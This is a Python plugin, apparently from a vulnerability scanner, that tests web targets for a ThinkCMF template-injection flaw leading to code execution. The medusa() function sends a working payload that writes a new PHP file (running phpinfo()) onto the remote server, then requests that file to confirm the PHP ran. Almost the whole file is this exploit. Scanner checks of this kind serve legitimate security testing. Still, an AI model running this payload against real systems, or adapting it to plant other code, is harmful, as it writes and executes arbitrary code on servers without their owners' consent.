#!/usr/bin/env python
# -*- coding: utf-8 -*-
__author__ = 'Ascotbe'
import requests
from ClassCongregation import VulnerabilityDetails,ErrorLog,WriteFile,randoms, ErrorHandling
class VulnerabilityInfo(object):
    def __init__(self,Medusa):
        self.info = {}
        self.info['number']="0" #如果没有CVE或者CNVD编号就填0，CVE编号优先级大于CNVD
        self.info['author'] = "Ascotbe"  # 插件作者
        self.info['create_date'] = "2020-2-19"  # 插件编辑时间
        self.info['disclosure'] = '2019-10-19'  # 漏洞披露时间，如果不知道就写编写插件的时间
        self.info['algroup'] = "ThinkCMFArbitraryCommandExecutionVulnerability"  # 插件名称
        self.info['name'] ='ThinkCMF任意命令执行漏洞' #漏洞名称
        self.info['affects'] = "ThinkCMF"  # 漏洞组件
        self.info['desc_content'] = "直接inlcude包含缓存文件，生成的缓存文件在runtime/Cache，造成了代码执行"  # 漏洞描述
        self.info['rank'] = "高危"  # 漏洞等级
        self.info['version'] = "ThinkCMF1.6.0ThinkCMF2.1.0\r\nThinkCMF2.2.0\r\nThinkCMF2.2.1\r\nThinkCMF2.2.2\r\nThinkCMF2.2.3\r\n"  # 这边填漏洞影响的版本
        self.info['suggest'] = "升级最新ThinkCMF版本"  # 修复建议
        self.info['details'] = Medusa  # 结果


def medusa(**kwargs)->None:
    url = kwargs.get("Url")  # 获取传入的url参数
    Headers = kwargs.get("Headers")  # 获取传入的头文件
    proxies = kwargs.get("Proxies")  # 获取传入的代理参数
    try:
        rm="Medusa"+randoms().result(5)
        payload = "/?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('{}.php','<?php phpinfo(); ?>')</php>".format(rm)
        payload_url2=url +"/"+rm+".php"
        payload_url = url + payload

        resp = requests.get(payload_url,headers=Headers, timeout=6,proxies=proxies, verify=False)
        if resp.status_code==200:
            resp2 = requests.get(payload_url2, headers=Headers, timeout=6,proxies=proxies, verify=False)
            con=resp2.text
            code=resp2.status_code
            if code == 200 and con.find("PHP Version")!=-1 and con.find("System")!=-1 and con.find("Build Date")!=-1:
                Medusa = "{}存在Thinkcmf任意命令执行漏洞\r\n验证数据:\r\n漏洞位置:{}\r\n写入文件位置:{}\r\n返回值:{}\r\n".format(url,payload_url,payload_url2,con)
                _t = VulnerabilityInfo(Medusa)
                VulnerabilityDetails(_t.info, resp,**kwargs).Write()  # 传入url和扫描到的数据
                WriteFile().result(str(url),str(Medusa))#写入文件，url为目标文件名统一传入，Medusa为结果
    except Exception as e:
        _ = VulnerabilityInfo('').info.get('algroup')
        ErrorHandling().Outlier(e, _)
        _l = ErrorLog().Write("Plugin Name:"+_+" || Target Url:"+url,e)#调用写入类
